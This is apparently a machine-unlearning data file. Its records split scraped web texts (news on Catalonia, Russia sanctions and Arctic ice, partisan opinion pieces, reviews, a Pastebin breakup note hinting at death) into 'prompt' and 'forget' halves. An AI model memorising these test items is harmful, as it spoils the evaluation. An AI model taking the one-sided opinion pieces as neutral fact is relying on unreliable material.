RisingStars: In addition, Replays.net also received information regarding the details of this year\u2019s transfers, as below: TongFu <\u2013> RisingStars 1. KingJ transfers from TongFu to RisingStars 2. XTT is part of the transfer terms, and joins TongFu from Rstars, his contract is exchanged for KingJ\u2019s 3. RStars and TongFu respectively pay to XTT and KingJ their owed prize moneys and promotional fees TongFu <\u2013> iG #1 1. Banana transfers from TongFu to iG 2. TongFu pays to banana all owed prize moneys and promotional fees 3. iG pays TongFu a transfer fee totaling 100,000 RMB for the rights to banana TongFu <\u2013> iG #2 1. iG and TongFu agree to collaborate on themed promotional product(s) 2. iG pays TongFu a transfer fee totaling 110,000 RMB for the rights to Hao 3. Zhou is part of the transfer terms, and joins TongFu from iG, his contract"}
{"prompt": "Image copyright AFP Image caption Thousands of Catalans took part in the demonstration, held on Catalonia's National Day Thousands of Catalans have rallied in Barcelona, Spain, demanding the right to hold a referendum on independence. Participants, waving Catalan flags and wearing the flag's red and yellow colours, stood in a V-shape formation, indicating their desire for a vote. Protesters were energised by Scotland's forthcoming independence referendum - and many also waved the Scottish flag. The regional government has called a referendum for 9 November. The Spanish government says the vote is illegal. \"We want to decide our future. We don't", "forget": "understand why that is constantly denied,\" Victor Panyella, a professor taking part in the rally, told Reuters. Ana Melendez, another participant, told the BBC she was \"jealous\" of Scotland, which has a referendum on independence from the rest of the United Kingdom on 18 September. Catalonia is one of Spain's richest and most highly industrialised regions, and also one of the most independent-minded. Image copyright Reuters Image caption Participants formed a large \"V\" in central Barcelona Image copyright AFP Image caption The Scottish flag could also be glimpsed among the Catalonia flags in the crowd Until recently, few Catalans had wanted full independence, but Spain's painful economic crisis has seen a surge in support for separation. The national government is opposed to any move towards independence. According to the Spanish constitution, the central government's blessing is required to make a referendum legal. At the scene: Tom Burridge, BBC News, Barcelona Image copyright AFP On Catalonia's national day, or La Diada, as it's called here, a huge crowd formed the thin red and yellow stripes of the Catalan flag, creating a giant 'V' for vote. Look closer and you could see an endless number of pro-independence Catalan flags, which have a blue triangle and a silver star. There were also a handful of Scottish flags fluttering in the wind. Each year, the atmosphere at the La Diada celebrations is electric and it's easy to imagine the event being infectious for some. The Catalan national anthem rings out, as do the deafening chants of \"independence\". People's dogs wear flags and people's faces are painted, party-style, in the Catalan colours. The true numbers present in Barcelona today will be disputed, but a large chunk of the Catalan population turned out. However another large number did not. The opinion polls are complex depending on"}
{"prompt": "Untitled a guest Oct 21st, 2012 216 Never a guest216Never Not a member of Pastebin yet? Sign Up , it unlocks many cool features! rawdownloadcloneembedreportprint text 1.57 KB __ __ _ ___ _ _ ____ ___ _ ___ | \\/ | __ _ _ _ / |( _ )| |_| |__ |___ \\ / _ \\/ |/ _ \\ | |\\/| |/ _` | | | | | |/ _ \\| __| '_ \\ __) | | | | | | | | | | | | (_| | |_| | | | (_) | |_| | | | /", "forget": "__/| |_| | | |_| | |_| |_|\\__,_|\\__, | |_|\\___/ \\__|_| |_| |_____|\\___/|_|\\___/ |___/ May 18, 2010 You left me. It's almost been two years. I'm still alone. I got a tattoo, with your initials in it, two years after our best weekend together on my birthday. Watching the rain from our cabin. Watching the horses in the hay. Spending time together. I couldn't sleep without feeling you next me, a phantom in my lonely nights. Now you are part of me. Forever. Just like the special place in my heart you earned. I don't know if you search for me to see how I'm doing, like I do you. I don't know if you realize how much of my world walked out in 2010. How much of that world I'll never get back. I went from seeing in color back to nothing again. I failed to love you in the ways you needed, you gave yourself what you needed for your birthday -- you left. The last Shark Week left me in tears...memories of your gummy sharks and a candid picture haunting me. The last New Years left me curled in a ball crying. Our second best night together, when you took me back the first time... I don't know if I'll ever get that back but my clock is ticking. And when it chimes, nothing will matter anymore. Your picture will be the last thing I look at as the reaper takes me. RAW Paste Data __ __ _ ___ _ _ ____ ___ _ ___ | \\/ | __ _ _ _ / |( _ )| |_| |__ |___ \\ / _ \\/ |/ _ \\ | |\\/| |/ _` | | | | | |/ _ \\| __| '_ \\ __) | | | | |"}
{"prompt": "Passing the sanctions bill is likely to be a rare bipartisan moment in Congress. The House and Senate have reached a deal on a bill that would impose new financial sanctions on Russia and allow Congress to review and veto any attempt by President Trump, or any other president, to independently ease those sanctions in the future. The Senate, looking to punish the Kremlin for meddling in last year\u2019s presidential election, passed a version of the bill by a nearly unanimous margin in June, but it has been stalled in the House for weeks due to procedural issues, pressure from", "forget": "industry groups, and a White House bent on weakening the proposed congressional-review power. On Saturday, however, negotiators from the House and Senate ironed out a deal that did not include the changes the Trump administration wanted. Regardless, White House press secretary Sarah Huckabee Sanders now says that the White House supports the new version of the bill. That would seem to indicate that Trump will sign it into law, but wait until the ink is dry when it comes to anything this administration says. In addition to the measures against Russia, the bill includes new sanctions on Iran (over its ballistic-missile tests) and North Korea (over its nuclear program). It also somewhat eased the concerns of the oil-and-gas industry, which worried that American companies would face an impossible amount of red tape if they attempted to partner with Russian businesses. The tweaked bill will likely receive a full vote on Tuesday and is expected to pass with wide bipartisan support, setting up a potentially difficult choice for the president. Trump has never seemed to take Russia\u2019s meddling in last year\u2019s election very seriously \u2014 instead trying to downplay it \u2014 and the president has also never seemed overly concerned about appearing too friendly with the Kremlin, either. (In Trump\u2019s defense, any White House administration would object to Congress attempting to reduce its authority to deal with foreign powers.) But the New York Times reported on Saturday that \u201ctwo senior administration officials said they could not imagine Mr. Trump vetoing the legislation in the current political atmosphere.\u201d And Trump\u2019s ability to exceed the limits of imagination aside, Sarah Huckabee Sanders offered firmer official support on Sunday. During an appearance on ABC\u2019s This Week, the new White House press secretary was asked if the president would sign the bill, and she indicated"}
{"prompt": "My friend Scott Johnson of Power Line has a column today in the Christian Science Monitor on the history of redistributionism and its links to the income tax. Barack Obama\u2019s accidentally revealing answer to Joe the Plumber this week did not occur in a historical vacuum. In fact, the history of the income tax shows it to be just the kind of instrument Obama describes, with much the same intent: Until the Civil War, the idea of a tax on individual incomes would have seemed preposterous to most Americans. Only as an emergency wartime measure did Congress adopt an income", "forget": "tax in the 1860s, and the measure was allowed to lapse with little fanfare in 1872. The modern income tax begins with the Progressive era in American politics. In an influential 1889 article titled \u201cThe Owners of the United States,\u201d crusading attorney Thomas Shearman argued that the lion\u2019s share of the country\u2019s wealth was in a limited number of hands. If an income tax were not adopted, he warned, within 30 years \u201cthe United States of America will be substantially owned\u201d by fewer than 50,000 people. \u2026 Progressives condemned the Constitution as an instrument crafted by the rich to protect their selfish interests (J. Allen Smith), and a document rendered obsolete by intellectual progress in the century since its drafting (Woodrow Wilson). Frenzied attacks on \u201cthe rich\u201d and \u201cthe wealthy\u201d culminated in the ratification of the 16th Amendment in 1913, authorizing federal taxation of income from all sources without limit. The same year, historian Charles Beard published \u201cAn Economic Interpretation of the United States Constitution.\u201d This book \u2013 later debunked \u2013 suggested that the Constitution was the handiwork of a propertied elite serving its own interests. Such sentiment has poisoned American political thought ever since. Wilson is an interesting analogue to this campaign. Like Barack Obama, Wilson had little experience in electoral politics, having spent most of his career as an academic. Like Sarah Palin, he had two years of experience as a governor before running on a national ticket (the top half in Wilson\u2019s case, obviously). Like John McCain, Wilson tried to push reform and limited government in opposition to his own party, and like Palin, had to fight a substantial state \u201cmachine\u201d to get it, although Wilson was somewhat less successful than Palin. In any event, the income tax passed almost a century ago was supposed to limit"}
{"prompt": "Back in 2013, a chance viewing of a Super Mario-themed burlesque show opened my eyes to the wonderfully wacky world of nerdlesque, a sub-genre of burlesque performance that celebrates and satirizes nerdy pop culture. I love a good Harry Potter or superhero satire, which is why NOLA Nerdlesque has quickly becoming one of my favorite local festivals\u2014and I\u2019m pretty sure you will love it too. Nerdlesque is a performance art notable for its inclusivity of all body types. It empowers performers and audience members to not just \u201clet it all hang out,\u201d but to feel daring and confident while doing", "forget": "it. Though nerdlesque is a modern art form, it is rooted in classic burlesque, particularly the smart satire. According to Pers\u00e9 Fanny, Co-Founder, Artistic Director, and one of several producers, \u201cMost people think that nerdlesque is an entirely new concept, but the truth is nerdlesque is at the root of traditional burlesque. It is a parody of pop culture, a mocking of society.\u201d NOLA Nerdlesque, now in its fourth year, \u201cstarted out of a love for nerdy pop culture and burlesque,\u201d says Fanny, when she and other local nerdlesque performers \u201cdecided to combine our dorky efforts and celebrate nerds together.\u201d It is only the second festival solely dedicated to nerdlesque in the world, despite the popularity of nerdlesque at conventions and other festivals. Now sexier (and nerdier) than ever, NOLA Nerdlesque\u2019s 2018 fest runs November 16-17. The festival is curated by Remy Dee, Pers\u00e9 Fanny, Vincent Gallant, Sable Switch, and Honey Tangerine, all well-known names in the local burlesque scene. The well-rounded festival includes four shows, three workshops at the New Orleans School of Burlesque, a closing party at the International House Hotel\u2019s Loa Bar (221 Camp St.), and a nerd market during performances. Get the dirty on this year\u2019s shows below, and be sure to buy your tickets in advance (note all shows are 18+ and tickets will be available at the door). Stripped Crusaders Friday, Nov. 16 at 8:00 p.m. Contemporary Arts Center (900 Camp St.) General Admission, $15 Stripped Crusaders kicks off the festival weekend with superheroes taking off their spandex after long nights of fighting crime and being, well, heroes. Come watch the alluring performances of talented nerdlesque performers from all around the country as they channel your favorite cartoon, comic, and video game heroes. Tease from the Crypt Friday, Nov. 16 at 10:30 p.m. Contemporary"}
{"prompt": "Here at Seer, we\u2019re big proponents of scaling and automating as many tasks as possible so that we can spend the bulk of our time strategizing for our clients. So, we\u2019re huge fans of IFTTT. If you\u2019re not familiar with IFTTT, it\u2019s simple. IFTTT is a free tool that you can use to connect different digital applications to make life easier. For example, you can automatically save your Instagram photos to Dropbox, or have the forecast texted to you each morning, or automatically tweet your blog posts, or about a zillion other cool things. While IFTTT is a great tool", "forget": "for social media automation and lots of everyday life stuff, here at Seer, we believed it was capable of much, much more. So we had a handful of hackathons and a whole lot of testing to come up with some brand-spanking new IFTTT recipes (now called \u201capplets\u201c) that will help you gather marketing intelligence and make strategic decisions for your brand. And now we\u2019re ready to share them with you! If you\u2019ve never used IFTTT, then you\u2019ll find some instructions at the very bottom of this post. If you have, then let\u2019s get to it! Most of the applets that we\u2019ve prepared here require a bit of pre-IFTTT prep. Here are two valuable tools that you\u2019ll see used over and over again in these applets. Visual Ping: This tool will notify you when there is a visual change on a website, web page, or even just a area of a web page. Page2RSS: This tool will convert any web page \u2013 even if the page doesn\u2019t publish a feed of its own \u2013 to an RSS feed, so that you can easily subscribe. Almost all of the THAT steps in our applets below are means of notification. When writing these applets, we selected what we thought were the most applicable forms of notification, but you should select whichever works best for you. It basically comes down to how quickly you\u2019d like to be notified. For example, if your site has been hacked, you\u2019ll want to know ASAP, so you\u2019ll probably want your alert to be a text message/SMS . . For something that you want to keep track of every day, an email might be the best notification for you. might be the best notification for you. If it\u2019s something that you\u2019ll want to check on maybe once a week"}
{"prompt": "So I watched The Good Dinosaur\u2026 I wasn\u2019t really looking forward to seeing this movie. The look of the dinosaur and the film\u2019s title bothered me. Plus the plot was shrouded in real mystery and the trailers didn\u2019t entice me sufficiently to make me wanna see it. But, as regular readers of this blog will know, I have a obsession with watching movies at the cinema and luckily for me I do or I would have missed out on a really enjoyable movie. Okay, basic plot: Arlo (Raymond Ochoa) is the youngest of three siblings living on a farm together", "forget": "with his parents, Papa Henry (Jeffrey Wright) and Momma Ida (Frances McDormand). Arlo has a crippling fear of almost everything and this leads to him feeling ostracised from his family and wondering if he\u2019ll ever earn their respect. One day Arlo falls into the river, outside his farm, and is swept away far from his family. He must now embark on a daring adventure to make his way back home, along with the help of a human caveboy named Spot (Jack Bright). This movie is fantastic! Or should I say the films it\u2019s based on are fantastic? There are several times when this movie does a Lion King/Finding Nemo impersonation. So I wouldn\u2019t say it\u2019s original but I always think that if you can\u2019t be original at least be a fun ride; and this film certainly is that. This is a fun movie to watch! It doesn\u2019t quite have the typical range of a Pixar movie and is almost exclusively made for young children. Where a typical Pixar movie would handle elaborate themes with subtlety and symbolism, this film just spells it out for you. It simplifies the majority (if not the entirety) of its plot and themes and makes them incredibly accessible for children. That being said, this is still a film that adults can enjoy. It is a little bit on-the-nose at times and has almost zero mystery to it but it is still entertaining. I loved how focused the narrative in this film is. The Good Dinosaur is just over an hour and a half long \u2013 which in today\u2019s filmmaking world is something akin to a short movie. This film has zero bloat or filler scenes and gets to the point with refreshing pace. Don\u2019t worry, this film isn\u2019t rushed \u2013 its events are told in"}
{"prompt": "Blockchain Embassy Opens for Business in Panama City A new location for bitcoin and cryptocurrency enthusiasts, entrepreneurs, activists, iconoclasts, connoisseurs, and the general public has opened in Panama. It is called the Blockchain Embassy. It is located in the Balboa Boutiques Strip Mall of Balboa Avenue in Panama City. Also read: ICO Regulatory Round-Up: UK, Malaysia, and Switzerland\u2019s Crypto Valley Point to Risks Information on the Blockchain Embassy The space has crypto clothing and other merchandise for sale. It has a cafeteria, craft beers for sale, hardware wallets on display, a coffee shop, and even a working space. A press", "forget": "release sent to bitcoin.com, said the embassy will also start giving cryptocurrency workshops and presentations. Everyone is welcome to come and engage with the Panama crypto community. The Embassy press release elaborated on how it accepts payment and provided more information: The embassy accepts payments in cash and Crypto, and has become an emblematic tourist site in Panama. It receives visitors from all over the world. It is one of the projects created by startup Cryptobuyer.io, known for being the first company in the world to install ATMs in commercial banks, as well as integrating its system Cryptobuyer Pay that allows any commerce to accept payments in Bitcoin and other currencies. Motivations to Build the Blockchain Embassy in Panama Bitcoin.com reached out to one of the founders of the Blockchain Embassy (and Cryptobuyer), Jorge Farias, to get some insight on the motivations behind setting up the embassy. He said, \u201cWe created the embassy because we were motivated by the need to educate the people not only of Panama, but also of the world. Panama is a tourist site, and at the same time, a major financial and logistic center. We believe that it is an ideal place to show the power of technology in a real, palpable way.\u201d Furthermore, he said his company chose the site in Panama City because it is easy to access by car and it allowed his team to integrate all of its amenities. He said besides offering the Crypto ATM, hardware wallets, and all the amenities mentioned, they plan on gradually adding many more things for their customer\u2019s enjoyment. What do you think about the Blockchain Embassy? Will you visit it? Let us know in the comments section below. Images courtesy of Blockchain Embassy At Bitcoin.com there\u2019s a bunch of free helpful services. For instance,"}
{"prompt": "The Washington Post's Paul Kane speaks to Libby Casey about President-elect Donald Trump's unfounded claim that millions of people voted illegally for Hillary Clinton. (The Washington Post) Correction: Politico columnist Jack Shafer did not advise journalists to \u201cignore,\u201d Donald Trump\u2019s tweets. He wrote that journalists should think before tweeting in response and not take \u201cthe bait.\u201d Commentators such as Jack Shafer argue the media should ignore President-elect Donald Trump\u2019s outlandish tweets \u2014 because they are outlandish and because they distract us from things Trump wants us to ignore. Shafer has things exactly backward. The Post\u2019s Aaron Blake responds, \u201cThe job", "forget": "comes with the so-called bully pulpit, and what he says matters and will be the subject of debate no matter what the mainstream media does. Everything he says reverberates. It doesn\u2019t matter if he says it on Twitter or at a news conference; either way it\u2019s going to be consumed by tens of millions of people, and the media has an important role to play when it comes to fact-checking and providing context.\u201d We find that logic compelling and would add a few additional points. First, the media can walk and chew gum at the same time. Cable TV news has 24/7 coverage. Online editions of major newspapers and of the broadcast networks have virtually unlimited pixels at their disposal. Even in print newspapers, the most space-limiting format, room can be found not only for a headline \u201cTrump invents voter fraud,\u201d but also \u201cTrump\u2019s business connections threaten to deepen the swamp\u201d and \u201cTrump\u2019s ignorance of the Constitution reignites concerns.\u201d If one suspects Trump is trying to distract us, as opposed to getting himself distracted to an alarming degree, how much more important is it to explain, for example, that \u201cTrump takes to Twitter to distract from secretary of state paralysis\u201d? (But unless someone is privy to the inner thoughts of Trump, we really do not know the \u201cmotive\u201d for his tweets.) In any event, covering tweets does not negate coverage of his other missteps; to the contrary it should underscore his continued difficulty in performing a job he really never planned to hold. [Get ready for the cable news presidency] Second, we would argue that there is no more important story than the continuous stream of evidence of the president-elect\u2019s irrationality and instability. Hillary Clinton certainly thought that was relevant to the campaign (it was); the mental and intellectual status"}
{"prompt": "The 352-page Persona 5 Maniax user handbook was released in Japan today, revealing the poll results for a Persona 5 related survey conducted from May 16 to May 26, 2017. There was a total of more than 1,800 respondents. 51% were female, 49% were male. 20% of respondents were between 10 and 20 years old, 56% were in their 20s, 20% were in their 30s, 3.5% were in their 40s, and 0.5% were in their 50s. [SPOILER WARNING] INFORMATION BELOW INCLUDES SPOILERS FOR PERSONA 5, READ AT YOUR OWN DISCRETION. How many times have you played through \u201cPersona 5\u201d? Cleared", "forget": "the Game 1 Time: 346 votes 346 votes Started a 2nd Playthrough: 511 votes 511 votes Cleared the Game 2 Times: 137 votes 137 votes Started a 3rd Playthrough: 342 votes 342 votes Cleared the Game 3 Times: 72 votes 72 votes Started a 4th Playthrough: 89 votes 89 votes Cleared the Game 4 Times: 33 votes 33 votes Started a 5th Playthrough: 43 votes 43 votes Cleared the Game 5 Times: 11 votes 11 votes Started a 6th Playthrough: 8 votes 8 votes Cleared the Game 6 Times: 2 votes 2 votes Started a 7th Playthrough: 7 votes 7 votes Started a 8th Playthrough: 1 vote 1 vote Cleared the Game 8 Times: 2 votes 2 votes Started a 9th Playthrough: 1 vote 1 vote Cleared the Game 9 Times: 1 votes 1 votes Started a 10th Playthrough: 4 vote 4 vote Cleared the Game 10 Times: 1 vote 1 vote Started a 12th Playthrough: 1 vote 1 vote Started a 13th Playthrough: 1 vote 1 vote Started a 15th Playthrough: 1 vote Who is your favorite character among the Phantom Thieves? Protagonist (691 votes) Makoto Niijima (346 votes) Yusuke Kitagawa (244 votes) Futaba Sakura (213 votes) Morgana (135 votes) Haru Okumura (117 votes) Ann Takamaki (70 votes) Ryuji Sakamoto (64 votes) Who is your favorite Confidant character? Goro Akechi (350 votes) Tae Takemi (343 votes) Sojiro Sakura (279 votes) Sadayo Kawakami (184 votes) Toranosuke Yoshida (179 votes) Hifumi Togo (150 votes) Munehisa Iwai (81 votes) Sae Niijima (59 votes) Yuuki Mishima (55 votes) Chihaya Mifune (43 votes) Igor (35 votes) Shinya Oda (33 votes) Caroline (31 votes) Justine (27 votes) Ichiko Ohya (2 votes) Who is your favorite character, excluding the above categories? Lala Escargot (159 votes) Lavenza (158 votes) Shiho Suzui (146 votes) Masayoshi Shido (80 votes)"}
{"prompt": "What is the cure for American health care? That is a question that a lot of people are trying to answer, and it\u2019s a highly debated topic, but the answer is plain and simple. Single payer health care is the best form of health care a nation can hope to have. It is efficient, provides quality and timely access to everyone, and it is cost effective. A single payer health care system is a system in which the government, rather than private insurers, pays for all health costs. The system is funded typically through income taxes and is free at", "forget": "the point of use. Some countries with a single payer system include Canada, the U.K., France, Germany, and Australia. France is often considered to have the best health care system in the world, but a large group of people (including myself) believe the best system is the U.K.\u2019s National Health Service (NHS). This is because of its central and efficient operation, as well as high quality standards, low wait times, and staff quality. To start let\u2019s dismiss some of the common arguments against single payer health care that come from the opposite side, like a single payer system having long wait lists, or that it is very inefficient and expensive. This couldn\u2019t be farther from the truth, fact a recent Public Library of Science study stated, \u201cReported efficiency tended to be lower in the private sector than in the public sector\u2026Studies evaluated in this systematic review do not support the claim that the private sector is more efficient, accountable, or medically effective than the public sector.\u201d It also found that countries with a single payer system also spend less per capita, and that the United States would save over 150 billion annually. That doesn\u2019t even include personal and business savings which would be thousands of dollars annually, would boost the economy, and make the United States more globally competitive. This is just one example of the several studies on this issue all saying the same thing, that single payer works and it is inherently the best system a nation could hope to have. A study by the World Health Organization also supports this claim and in a world-wide health care ranking, the United States was ranked 37, Canada was 32, the UK ranked 7, and France number 1. All of the countries ahead of the United States had a form"}
{"prompt": "What do Turkey, Chile, Russia, Venezuela, Azerbaijan, North Korea and Haiti all have in common? Time Zone Chaos! No, that's not the punchline to a joke. It's actually quite a serious problem. The biggest issue with time zones is not that they exist, nor that they have daylight saving time. But rather, in that they often change in a haphazard manner. Allow me to explain. First, understand that from a global perspective, one might think that the time zones of the world should be managed by some relatively neutral international body, such as the ITU division of the United Nations,", "forget": "or perhaps the IAU. However, each of the world's time zones are actually controlled from a local perspective. Each individual nation has a sovereign right to decide the local time for the lands within their jurisdiction. This includes both the offset from Universal Time, and the rules that govern daylight saving time, if they choose to use it. This unto itself is not a problem, and absolutely I agree that countries should be able to do whatever they want with the clocks within their borders. However, time and time again, we run into the same problem, which is simply that they are changed without enough notice. All of the countries mentioned earlier have done this recently, along with many others. It's crucial that when governments make changes to their time zones or daylight saving time rules, that they provide ample lead time for technology to catch up. One has to consider the real work that people have to do to validate the change, create a data update, test the changes, and to publish and distribute the update. Then you have to consider that individuals don't always update their systems instantly. It's very common for a time zone update to be available for weeks or months before it is actually installed by the end user. Turkey - A Case Study: Let's look at Turkey as an example. In 2015, the government decided that it would be a good idea to delay the end of daylight saving time by two weeks to allow for more daylight hours at the polls during their election season. They moved the end of DST date from October 25th to November 8th. So what was the result? Well, to quote the BBC: Confused Turks are asking \"what's the time?\" after automatic clocks defied a government decision to"}
{"prompt": "India\u2019s solar power sector is staring at yet another policy intervention that could put the viability of projects in the country under question. The Narendra Modi government is expected to impose an anti-dumping duty (ADD) on imported solar panels in order to boost sales of locally made ones. This is bound to increase the costs of setting up power plants as 89% of the solar panels used in India are imported, mostly from China, Taiwan, and Malaysia whose products are around 10% cheaper than locally made ones. \u201cIf the anti-dumping duty is imposed\u2014which is likely, very strongly likely\u2014then it will", "forget": "make life easier for domestic producers (of solar panels),\u201d said Amit Kumar, a partner at consulting firm PwC, who focuses on the renewables sector. An ADD of, say, 25% will allow a similar hike in prices of local products, too, bringing down the homegrown firms\u2019 losses, Kumar added. But that\u2019s bad news for India\u2019s solar power producers. In the last few months, activity in India\u2019s solar energy sector has stalled. The industry is struggling with rising solar panel prices and flat power demand, while, on its part, the government hasn\u2019t held auctions for solar projects. The sector is lagging India\u2019s target of installing 100 gigawatts (GW, or 1,000 megawatts) of plants by 2022. The ADD is likely to make projects even less viable. Developers are already being forced to quote low tariffs to win the few available projects, risking low returns, and an increase in costs due to the duties would add even more pressure. The backstory In July, the India Solar Manufacturers Association (ISMA), a group of firms that make solar modules, filed a petition with the government to probe solar cell and module imports. Typically, the government takes around a year to act\u2014impose duties if necessary\u2014on such pleas. It may also choose to impose a provisional duty while the probe is on. In the past, such provisional duties have been brought in around seven months after a petition is filed, according to renewable energy consultancy firm Bridge to India (BTI). This year, such an intervention may already be around the corner. \u201c(There) is a very strong buzz in the industry that a duty announcement is about to come anytime now,\u201d BTI said in a Nov. 15 report (pdf). \u201cThe government is under pressure about the poor state of manufacturing\u2026If DGAD (Directorate General of Anti-Dumping & Allied Duty) and"}
{"prompt": "[np_storybar title=\u201dWatch NASA animation of the giant ice fracture\u201d link=\u201d#1\u2033] [/np_storybar] The ice in Canada\u2019s western Arctic ripped open in a massive \u201cfracturing event\u201d this spring that spread like a wave across 1,000 kilometres of the Beaufort Sea. Huge leads of water \u2013 some more than 500 kilometres long and as much as 70 kilometres across \u2013 opened up from Alaska to Canada\u2019s Arctic islands as the massive ice sheet cracked as it was pushed around by strong winds and currents. \u201cIt took just seven days for the fractures to progress across the entire area from west to east,\u201d said", "forget": "Trudy Wohlleben, senior ice forecaster at the Canadian Ice Service. She said it was \u201cspectacular\u201d to watch from Ottawa, where she and her colleagues track the ice with satellites. While ice fracturing is common in the Beaufort, few \u201cevents\u201d have sprawled across such a large area so quickly or produced cracks as long and wide as those seen this spring, according to NASA Earth\u2019s Observatory, which features the fractures this week. Wohlleben noted that there was a similar event in last spring, and says both were related to way the ice, which moves in a clock-wise direction in the Beaufort, can suddenly start and stop moving depending on the weather conditions. This year the ice in the Beaufort Sea had essentially stopped moving for the first three weeks of February, Wohlleben said. \u201cRapid ice drift then began in the southwest section of the Beaufort Sea around Feb. 20, initiating the first fractures in that area,\u201d she says. The fracturing \u201cthen quickly spread eastward to encompass the entire Beaufort Sea by the end of February.\u201d She said temperatures are so frigid in the Arctic that the open water began refreezing as soon as the ice stopped moving. But the new ice will be much thinner \u2013 about 30 to 70 centimetres thick \u2013 than ice that has been growing all winter and is now more than a metre thick. Older multi-year ice can be several metres thick. Scientists suggests the extensive fracturing this year may be linked to the way the Beaufort was covered almost completely by first-year ice that formed after the record summer Arctic ice melts in 2012. http://www.youtube.com/watch?feature=player_embedded&v=KXjb6MRj_5U \u201cThis ice is thinner and weaker than the older, multi-year ice, so it responds more readily to winds and is more easily broken up,\u201d said Walt Meier, of the U.S."}
{"prompt": "Whites are continually put into the position of forever having to prove the negative, that they\u2019re not racists. This is impossible. And that\u2019s the point. Now that South Carolina has taken down the Confederate flag flying on statehouse grounds, MSNBC is drumming the five whose state flags incorporate \u201cConfederate themes.\u201d They continue to prove liberals are never satisfied. We fought the Civil War. We ratified the Fourteenth Amendment. We have the Civil Rights Act of 1964 and the Voting Rights Act of 1965. The civil-rights movement was a success. Now, we have South Carolina pulling down the Confederate flag. But", "forget": "it\u2019s still not enough. And Hillary Clinton agrees. \u201cRemoving this symbol of our nation\u2019s racist past is an important step towards equality and civil rights in America,\u201d Clinton said in a written statement after the South Carolina legislature voted to remove the flag. \u201cThe flag may soon no longer fly at the State Capitol, but there is still unfinished business in confronting and acting on the inequalities that still exist in our country. We can\u2019t hide from the hard truths about race and justice. We must do everything in our power to have the courage to name them and change them\u201d (emphasis mine). In saying this is a \u201cstep toward equality and civil rights,\u201d Clinton is acting as if the civil-rights movement never happened. She is painting our nation with the brush of racism as if it were still 1950\u2014or even 1860. Whites Must Stop Being Racists, But They Can\u2019t Shelby Steele, author of \u201cWhite Guilt,\u201d calls this \u201cmanipulating stigma.\u201d With the victory of the civil-rights movement, whites lost their moral authority\u2014something that inevitably happens when you admit you\u2019ve done something wrong. As a nation, we confessed our racist past, and we righted that wrong. That should have been the end of it, but with the loss of that moral authority came an increase in the moral authority of minorities\u2014power they and the Democratic Party have twisted and used to advance one social-justice agenda after another. Steele says this happens because of white guilt, and the stigma of racism reinforces white guilt. \u2018If they don\u2019t prove the negative, then the stigma sticks.\u2019 Clinton says we can\u2019t hide \u201cfrom the hard truths about race and justice.\u201d Which hard truths is she talking about except that we must overcome our inherent racism? President Obama said it is \u201cin our DNA\u201d to be"}
{"prompt": "News Monmouth University has been named alongside 104 colleges and universities in the United States, Canada, and the United Kingdom, including Yale University, Princeton University, and Oxford University, in the Paradise Papers, a leak of documents and files that indicate the institutions named had affiliations with offshore accounts, most often, to avoid tax liability. While the University\u2019s connection to the Papers may not indicate any wrongdoing or illegality on their part, the business practice\u2019s commonality among institutions of higher education raises a question of ethics and moral duty. The Paradise Papers are the second-largest data leak in history, following the", "forget": "2016 release of the Panama Papers. Both leaks were obtained by German newspaper Suddeutsche Zeitung, who then shared the material with the International Consortium of Investigative Journalists (ICIJ), a United States based organization that won a Pulitzer Prize for their work on the Panama Papers. The ICIJ published the Papers in 2016, exposing the methodology behind how wealthy citizens, organizations and institutions avoid paying taxes by keeping funds in offshore accounts. George Yager, a CPA who specializes in tax compliance and family wealth planning, and provides consultation on tax advisory services to a broad range of clients including management companies and their owners in the alternative investments industry, as well as energy and real estate clients, explained tax avoidance as an action taken to reduce one\u2019s tax liability and maximize after-tax income. \u201cTax avoidance is perfectly legal and involves the practice of maximizing deductions, adjustments to income and use of tax credits to lower tax liability within the Tax Code and Regulations. While the legality of tax avoidance is clear, the ethics of it are not. Most taxpayers use some form of tax avoidance to legally lower their taxes such as contributing pre-tax income to a 401(k) retirement plan,\u201d said Yager. \u201cThis would be viewed as both a legal and ethical practice to reduce one\u2019s taxes. But when a tax avoidance strategy entails the use of loopholes in the Tax Code, the question of whether that is ethical may be raised,\u201d Yager continued. Yager added that taxpayers using this strategy would be legally reducing their tax liability, but it could be argued that by using loopholes they may not be paying their fair share and therefore, not be ethical. \u201cAs there is no single definition of ethics or specific rules, the ethical determination must be made by the taxpayer depending"}
{"prompt": "Money. Music. Machines. When you think of the big players that make software and hardware solutions for musicians and DJs you might think of Ableton, Akai Pro and Native Instruments. The later have just shifted the goal posts in the industry to the tune of \u20ac50 million ($59 million) thanks to an investment from EMH Partners! The big question is what will they do with this rather large sum? With their diverse range of products for DJs, producers and performers including Traktor, Maschine and Komplete, Native Instruments have, since 1996, carved out a large loyal userbase in the music industry.", "forget": "As noted by EMH Partners, NI\u2019s \"products are not only used by a vast majority of producers, musicians and DJs such as Depeche Mode, Alicia Keys, Skrillex, Carl Cox, Kendrick Lamar and Hans Zimmer, but also by an increasing number of hobby users.\" Despite such high-profile users and obviously successful branded products there's plenty of areas Native Instruments could improve upon. And we think $59 million could help them achieve greater dominance in their product and service areas. What Now? So, $59 million is a significant amount to play with. And EMH Partners' investment is not about helping a company to break through but propelling an already successful one to the next level of development. NI has over 500 employees and generates annual revenues of \u20ac80 million currently with an undisclosed, healthy profit margin. Behind great products are great ideas. Great ideas originate from great minds. So it would come as no surprise if NI add to their already talented and creative workforce with new ideas and skills from new people. Daniel Haver, CEO of Native Instruments, explains that \u201cby developing intuitive and powerful products we\u2019ve empowered music creators and DJs globally to further realise their potential. Today we\u2019re seeing demand from increasingly diverse market segments, which opens enormous potential. With EMH Partners we now have a strong partner at our side to kick off the next growth phase.\u201d It's also important to note that \"the private equity firm will predominantly invest in the technological development of Native Instruments and its marketing and sales efforts\". This won't be purely on R&D for new products and services, but we'd like to speculate a little on what this investment could result in for the end user... What Next? So what can we expect this extra investment to mean in terms of new"}
